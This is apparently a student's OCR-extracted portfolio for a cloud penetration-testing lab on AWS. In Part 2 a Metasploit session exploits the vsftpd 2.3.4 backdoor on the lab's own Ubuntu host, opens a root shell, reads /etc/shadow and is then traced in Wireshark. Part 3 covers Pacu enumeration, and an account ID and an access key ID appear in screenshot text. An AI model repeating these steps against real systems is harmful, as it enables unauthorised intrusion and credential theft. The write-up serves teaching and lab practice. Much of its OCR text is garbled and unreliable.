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PART 1

Synopsis

In the first part of this project, we leverage the resources available in an AWS free tier
account to set up a small penetration testing lab. We complete any necessary configurations
AWS, subscribe to the images we need in the Marketplace, launch the images, and then use
to test our connectivity and install to check the scanning capabilities of our Kali machine.

A separate VPC has been dedicated to this project environment.

Screenshots

Added Marketplace Images

B &4 @ @ cotar ittrew
e AWS Marketplace » Manage subscriptions ® @
AWS Marketplace < Manage subscriptions i -
Actions ¥
Discover products
Procurement insights Active subscriptions Inactive subscriptions
Manage subscriptions
Private offers Active subscriptions (2) VL CCHEE
Vendor Insights
- Filter delivery method —
¥ Private Marketplace | Q@ Find subscriptions || Alldelivery methods v | 1 o]
Your Private Marketplace
Legacy version 12 Product v | AgreementID v | Vendor v | Deployed on AW  Actions
Settings
agmt- .
C L G
Ubuntu 22.04 LTS - Jammy a8b7p7hweSbcpkesajsneef .an-on\ca roup Yes Launch
Limited
H
. gmt-5zkxetoxg 26x6 .
Kali Linux Zk?th)ZS R Kali Yes Launch
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Configured Environment and Launched Images

aws -
aws Q B 4 @ o3 United States (N. Vi —
e EC2 > Instances @ B o
EC2 < Instances (2) info {ess than :iﬁ:&?j:: @ Connect ( Instance state ¥ ) ( Actions ¥ ) Launch instances v
Dashboard ‘ Q, Find Instance by attribute or tag (case-sensitive) | | Running ¥ ‘ 1 @
EC2 Global View 12 -
||| Name g v | Instance ID | Instance state ¥ I Instance type ¥ | Status check | Alarm status | a
Events -
L kali i-0e46b72d09f601bb0 @ Running @ Q t3.small @ 3/3 checks passec  View alarms + |
¥ Instances —
_J ubuntu i-0d49d689605a775e1 @ Running @ Q t3.small @ 3/3 checks passec  View alarms + |

Instances
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Tested SSH Connections

imon-minimum

em ubuntu@

run a
"man

ubuntu@i
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Initiated Nmap Scan

(ssh) ~/Sync/FSU/S7_Fall-2@25/I5IN-335/pentesting/
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PART 2

Synopsis

In the second part of this pentesting project, we utilize the environment that we created
and configured in part 1 to launch an attack from the Kali machine against a vulnerable FTP)
service on the Ubuntu machine. After performing this attack, we respond to the incident by
analyzing the sniffed network traffic and by gathering information from the victim machine

itself. We leverage concepts and skills from various AWS knowledge domains, and utilize tools

like Nmap|, Wireshark|, Metasploit, and tcpdump.

Screenshots

Established SSH Connection to Kali

Linux ka

The p

ON-mMiNimum-s

Learn more about
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Installed Vulnerable Service on Ubuntu

(ssh) ~/Sync/FSU/S7_Fall-2@25/I5IN-335/pentesting/
-168-1- Ftpe infe

Opened Ports and Initiated Nmap Scan

i} United St —
e EC2 > Security Groups » sg-0987733f808f676d4 - ubuntu-sg G2 (O]
EC2 ¢ $g-0987733f808f676d4 - ubuntu-sg
Dashboard .
Details
ECZ Global View 12 . . -
Security group name Security group ID Description VPC ID
Events 0 ubuntu-sg [0 sg-0987733f808f676d 6 Ubuntu 22.04 LTS - Ja vpe-Ocadd6f538147cdfa [A
4 mmy-Ubuntu 22.04 LTS 20
¥ Instances 251111-AutogenByAWSM
Instances P--1 created 2025-11-20T1
9:10:11.0832
Instance Types
Launch Templates Owner Inbound rules count Outbound rules count
|_|:| 990216988430 3 Permission entries 1 Permission entry
Spot Requests
Savings Plans
Reserved Instances Inbound rules Outbound rules Sharing - new VPC associations - new Tags

Dedicated Hosts

Capacity Reservations

Capacity Manager New Inbound rules (3} @ Manage tag Edit inbound rules

| Q, search | 1 ©

¥ Images —

AMI Il Name V | Security group rule ID ¥ I IP version V¥ I Type v Protocol ¥ | Portrange V |

s
AMI Catalog (] - sgr-0f1b8597368fec3a0 1Pv4 Custom TCP TCP 6200
. I:I = sgr-0909fe4f15009d913 IPv4 Custom TCP TCP 20-21
¥ Elastic Block Store —
I - sgr-0343fd477066acfd9 IPv4 55H TCP 22
Volumes
Snapshots

(ssh) ~/Sync/FSU/S7_Fall-2825/ISIN-335/pentesting/
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Performed Attack with Metasploit

(ssh) ~/Sync/FSU/S7_Fall-2@25/I5IN-335/pentesting/
msf > search vsftpd

Matching Modules

Disclosure Date Rank Check Description
auxiliary/dos/ftp/usftpd_232 2011-82- normal f ISFT .3.2 Denial of Service
exploit/unix/ftp/usftpd_234_backdoor 2011-07- excellent ) VSF .3.4 Backdoor Command Executio

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/usftpd_234_backdoor

> use 1

No payload configured, defaulting to cmd/unix/interact

exploit( ) > set RHOSTS 192.168.1.22
)STS => 192.168.1.22
exploit( ) > run
192.168.1.22:21 - Banner: 220 (vsFTPd 2.3.4)
192.168.1.22:21 USER: 331 Please specify the password.
192.168.1.22:21 Backdoor service has been spawned, handling...
192.168.1.22:21 UID: wid=B(root) gid=@(root) groups=@(root)
Found shell.
Command shell session 1 opened (192.168.1.60:37501 -> 192.168.1.22:6200) at 2025-11-25 16:22:44 +0000

=
(T
— =

*

*

%*

+
[ Y |

*

B e
+

exploit( ) > run

192.168.1.22:21 - Banner: 220 (vsFTPd 2.3.4)

192.168.1.22:21 - USER: 331 Please specify the password.

192.168.1.22:21 - Backdoor service has been spawned, handling...

192.168.1.22:21 - UID: uid=@(root) gid=@(root) groups=@(root)

Found shell.

Command shell session 1 opened (192.168.1.60:37501 -> 192.168.1.22:6200) at 2025-11-25 16:22:44 +0000

Linux ip-192-168-1-22 6.8.8-1040-aws #42~22.04.1-Ubuntu SMP Wed Sep 24 1@:26:57 UTC 2825 x86_64 x86_64 x86_64 GNU/Linux
cat fetc/shadow
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Identified Backdoor Connection on Ubuntu

(ssh) ~/Sync/FSU/ST_Fall-2@825/ISIN-335/pentesting/

Note: I had to redo this step to capture another screenshot. Because of this, the PID and port numbers
do not match prior screenshots.

Retrieved Packet Capture from Ubuntu

(ssh) ~/Sync/FSU/ST_Fall-2@825/ISIN-335/pentesting/

intu.pem ubuntufd
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Analyzed Packet Capture with Wireshark

Fle Edit Wew Go Coptwe Analyze Statistics Telephony Wireless Tools Help

Ami@emTRE Qe= 2 EaaqEH

W [icppor 8200 <)+
No. Time Source Destination Protocol Info =
24 3.612676 192.168.1.22 192.168.1.686 TCP 6200 - 37501 [PSH, ACK] Seq=40 Ack=49 Win=62720 Len=17 TSval=9896643412 TSecr=1352756579

253.654727 192.168.
26 4.684691 192.168.
27 4.684800 192.168.
28 4.684981 192.168.1.

.68 192.168.1.22 TCP 37501 - 6200 [ACK] Seq=49 Ack=57 Win=62976 Len=@ TSval=1352756623 TSecr=996043412
.68  192.168.
.22 192.168.

192.168.

2z TCP 37501 . 6200 [PSH, ACK] Seq=49 Ack=57 Win=62976 Len=23 TSval=1352757653 TSecr=906043412
&8 TCP 6208 . 37581 [PSH, ACK] Seq=57 Ack=72 Win=62720 Len=18 TSval=996844484 TSecr=1352757653
2z TCP 37501 . 6200 [ACK] Seq=72 Ack=75 Win=62976 Len=8 TSval=1352757653 TSecr=996044484

1.

1.

1.

1.

1.
3110.084859 192, 192.168.1.22 TCP 37501 - 6208 [PSH, ACK] Seq=72 Ack=75 Win=62976 Len=1 TSval=1352763853 TSecr=996844484
32 10.125861 192. 162.168.1.68  TCP 6200 ~ 37501 [ACK] Seq=75 Ack=73 Win=62720 Len=@ TSval=996049926 TSecr=1352763853
33 32.280731 192. 192.168.1.22  TCP 37501 - 6200 [PSH, ACK] Seq=73 Ack=75 Win=62976 Len=7 TSval=1352785248 TSecr=996049926
34 32.280770 192. 192.168.1.60 TCP 6200 . 37501 [ACK] Seq=75 Ack=80 Win=62720 Len=8 TSval=096872080 TSecr=1352785248
35 32.281927 192. 192.168.1.68  TCP 6260 - 37501 [PSH, ACK] Seq=75 Ack=88 Win=62720 Len=5 TSval-996072082 TSecr=1352785248
36 32.282102 192. 192.168.1.22  TCP 375081 — 6200 [ACK] Seq=80 Ack=80 Win=62976 Len=6 TSval=1352785250 TSecr=9966720882
37 36.340794 192. 162.168.1.22 TCP 37501 - 6200 [PSH, ACK] Seq=80 Ack=86 Win=62976 Len=0 TSval=1352789308 TSecr=996072082
35 36.341B61 192. 192.168.1.68  TCP 6200 . 37581 [PSH, ACK] Seq=80 A i 96876142 TSe

40 44.197538 192 .16 37501 — 6268 [PSH, ACK] Seq=89 A 52797165 TSe

2 6261 i

42 44.198B34 192.168.1.60 192.168.1.22 TCP 37501 . 6280 [ACK] Seq=105 Ack=1219 Wi Len=0 T5val=1352797166 TSecr=996883998

43 98.461478 192.168.1.60  192.168.1.22  TCP 37501 - 6208 [PSH, ACK] Seq=105 Ack=1219 Win=76832 Len=5 TSval=1352851429 TSecr=096083998

47 98.462009 192.168.1.22 192.168.1.60

6200 - 37501 [ACK] Seq=1220 Ack=111 Win=62720 Len=0

» Frame 41: 1085 bytes on wire (8680 bits), 1085 bytes captured (8680 bits) 0840
+ Ethernet II, Src: Ga:ff:cc:7c:8b:e7 (@a:ff:cc:7c:Bb:e7), Dst: Ga:ff:fb:04:45:00 (ea:ff:fb:. 0850
+ Internet Protocol Version 4, Src: 192.168.1.22, Dst: 192.168.1.60 6660
+ Transmission Control Protocol, Src Port: 6208, Dst Port: 37501, Seq: 208, Ack: 185, Len: 1. 0870
Data (1819 bytes) 0680
0898

0820

0abo

Baco

oade

08e0

eara

9108

0110

0120

8130

0140

8150

0160

0178

0180

O 7 patadata), 1,019 bytes Packets: 52 - Displayed: 34 (55.4%) Profile: Default

Due to the host 192.168.1.60 capture filter that I used with the
command, all of packets captured in this file are between the Kali and
Ubuntu hosts. 52 packets were captured in total, 34 of which (65%) were
directly related to the backdoor shell over port on Ubuntu. Notably, the
payload data is unencrypted. In the screenshot above, we can view the results
of one of the commands we ran (cat /etc/shadow) in plaintext.
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PART 3

Synopsis
In the third part of the pentesting project, we set up the AWS CLI, test functionality, and

use the framework to assess some aspects of our environment.

Screenshots

Created IAM User

[alt+s] | (3 fal @ s} Global ¥

kittrew
e IAM > Users » auditor ® O]
Identity and Access < auditor i
Management (IAM)
| Q search 1am Summary
ARN Console access
[0 arm:aws:iam::990216988430:user/ Disabled
auditor
Dashboard
Access key 1 Created
¥ Access management .
AKIAGNDMIE4AHDLQT3LVQ - Active December 04, 2025, 13:12 (UTC-05:00)
User groups @ Never used. Created today.
Users
Last console sign-in Access key 2
Roles
- Create access key
Policies

Identity providers

Account settings < Groups (1) Tags Security credentials Last Accessed >

Root access management

Temporary delegation requests

New User groups membership Remove ( Add user to groups )
v Access reports A user group is a collection of 1AM users. Use groups to specify permissions for a collection
of users. A user can be a member of up to 10 groups at a time.
Access Analyzer
_ P F
Resource analysis New I Group name A Attached policies |7 v
Unused access J auditor ReadOnlyAccess and SecurityAudit

Analyzer settings
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Installed and Configured AWS CLI

(ssh) ~/Sync/FSU/S57_Fall-2@25/ -335/pentesting/

aws

W run
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Described Instances

(ssh) ~/Sync/FSU/S7_Fall-2025/ISIN-335/pentesting/

Listed S3 Bucket
(ssh) ~/Sync/FSU/ST_Fall-2@825/ISIN-335/pentesting/
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Uploaded to Bucket

(ssh) ~/Sync/FSU/S7_Fall-2@25/I5IN-335/pentesting/

html t

Started and Described Ubuntu Instance

(ssh) ~/Sync/FSU/ST_Fall-2@825/I5IN-335/pentesting/

untu

Note: I did not have to add any permissions for the [describe-instance—attribute|and |describe-|
security-group| commands to work. This is because I added the default ReadOnlyAccess| and
ISecurityGroup| policies that come from AWS when I created the user — which include (among other
things) these permissions.
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Installed Pacu

(ssh) ~/Sync/FSU/S7_Fall-2@25/I5IN-335/pentesting/

y installed and is no er required:

—roman
apt autoremo

Installing:

Installin

Pacu is an open source pentesting framework for the AWS cloud. The tool
intends to aid in the assessment of AWS exploit and post-compromise
potential by (for example) helping to simulate a breach and vet AWS services
with a set of “compromised” keys used as the attacker. It includes modules
for activities such as confirming permissions and performing privilege
escalation scans. The tool attempts to address AWS penetration testing
concerns within the information security community by providing methods
for (relatively) easy/quick assessment of potential vulnerabilities and exploit
potential issues, rather than compliance requirements. Pacu aggregates
experience and research from AWS red team engagements and makes them
available in the form of the previously mentioned modules, which improves
efficiency and cuts time requirements for an assessment by a drastic amount
(depending on the size of the environment/deployment).
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Pacu set keys

I enter an
i must
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Pacu ec2 _enum

(ssh) ~/Sync/FSU/S7_Fall-2025/ISIN-335/pentesting/

systemsmanager__rce_ec2

Pacu (test:auditor) > help ec2__enum

ec2__enum written by Spencer Gietzen o

usage: pacu [--regions REGIONS] [--ins

f Rhine Security Labs.

tances] [--security-groups] [--elastic-ips] [--public-ips]

[--customer-gateways] [--dedicated-hosts] [--network-acls] [--nat-gateways] [--network-interfaces]

[--route-tables] [--subnet

The module is used to enumerate the fo

groups, elastic IP addresses, VPN cust
interfaces, route tables, subnets, VPC
arguments are passed in indicating wha

options:
—--regions REGIONS One or more (c
regions.
——instances Enumerate EC2
--security-groups Enumerate
—-elastic-ips Enumerate
——public-ips Enumerate
—-customer-gateways Enumerate
—-dedicated-hosts Enumerate
—-network-acls Enumerate
--nat-gateways Enumerate
—-network-interfaces Enumerate
—-route-tables Enumerate
—-subnets Enumerate
—-vpcs Enumerate
—--vpc-endpoints Enumerate
—-launch-templates Enumerate

Pacu (test:auditor) > ||

(ssh) ~/Sync/FSU/57_Fall-2825/ISIN-33

s] [--vpcs] [--vpc-endpoints] [--launch-templates]

1lowing EC2 data from a set of regions on an AWS account: instances, security
omer gateways, dedicated hosts, network ACLs, NAT gateways, network

s, and VPC endpoints. By default, all data will be enumerated, but if any

t data to enumerate, only that specific data will be enumerated.

omma separated) AWS regions in the format "us-east-1". Defaults to all session

instances

security groups
elastic IP addresses
public IP addresses
VPN customer gateways
dedicated hosts
network ACLs

NAT gateways

network interfaces
route tables

subnets

VPCs

VPC endpoints

launch templates

5/pentesting/

Pacu (test:auditor) > run ec2__enum --regions us-east-1

Running module ec2__enum...
[ec2__enum] Starting region us-east-1.
[ec2__enum] 2 instance(s) found.

[ec2__enum] & security groups(s) found.
[ec2__enum] @ elastic IP address(es) found.

[ec2__enum] 2 public IP address(es)
public_ips_test_us-east-1.txt

found and added to text file located at: ~/.lecal/share/pacu/test/downloads/ec2_

[ec2__enum] VPN customer gateway(s) found.

[ec2__enum]
[ec2__enum]
[ec2__enum]
[ec2__enum]
[ec2__enum] route table(s) found.

e
3 network ACL(s) found.
(4]
2
4
[ec2__enum] 8 subnet(s) found.
3
e
e
2

NAT gateway(s) found.

[ec2__enum] VPC(s) found.
[ec2__enum] VPC endpoint(s) found.
[ec2__enum]
[ec2__enum] ec2__enum completed.
[ec2__enum] MODULE SUMMARY:

Regions:
us—east-1

total instance(s) found.
total security group(s) found.

total dedicated hosts(s) found.
total network ACL(s) found.
total NAT gateway(s) found.

total route table(s) found.
total subnets(s) found.

total VPC(s) found.

total VPC endpoint(s) found.
total launch template(s) found.

0 W0 R ®E WS S M ® O

Pacu (test:auditor) > ||

dedicated host(s) found.

network interface(s) found.

launch template(s) found.

total elastic IP address(es) found.
total public IP address(es) found.
total VPN customer gateway(s) found.

total network interface(s) found.
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Pacu data

(ssh) ~/Sync/FSU/S7_Fall-2@25/I5IN-335/pentesting/

t udit ata

"Attachm

Page 19 of 21



PORTFOLIO | Cloud Pentesting Will Kittredge

Pacu cloudtrail _download event history

C Sync/FSU/S7_Fall-2025/ISIN-335/pentesting/

down

This downloads a json| file containing CloudTrail event history. It took a

while for the command to complete, possibly because I’ve built up a log of
events after accidentally leaving the EC2 instances on once or twice.
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Pacu whoami

(ssh) ~/Sync/FSU/S7_Fall-2@25/I5IN-335/pentesting/

W 1

e": null,
e": null,

: n
Lk dedddkhhok kx|

" onull,

This returns some information about the current pacu session. We can view
the active access keys.
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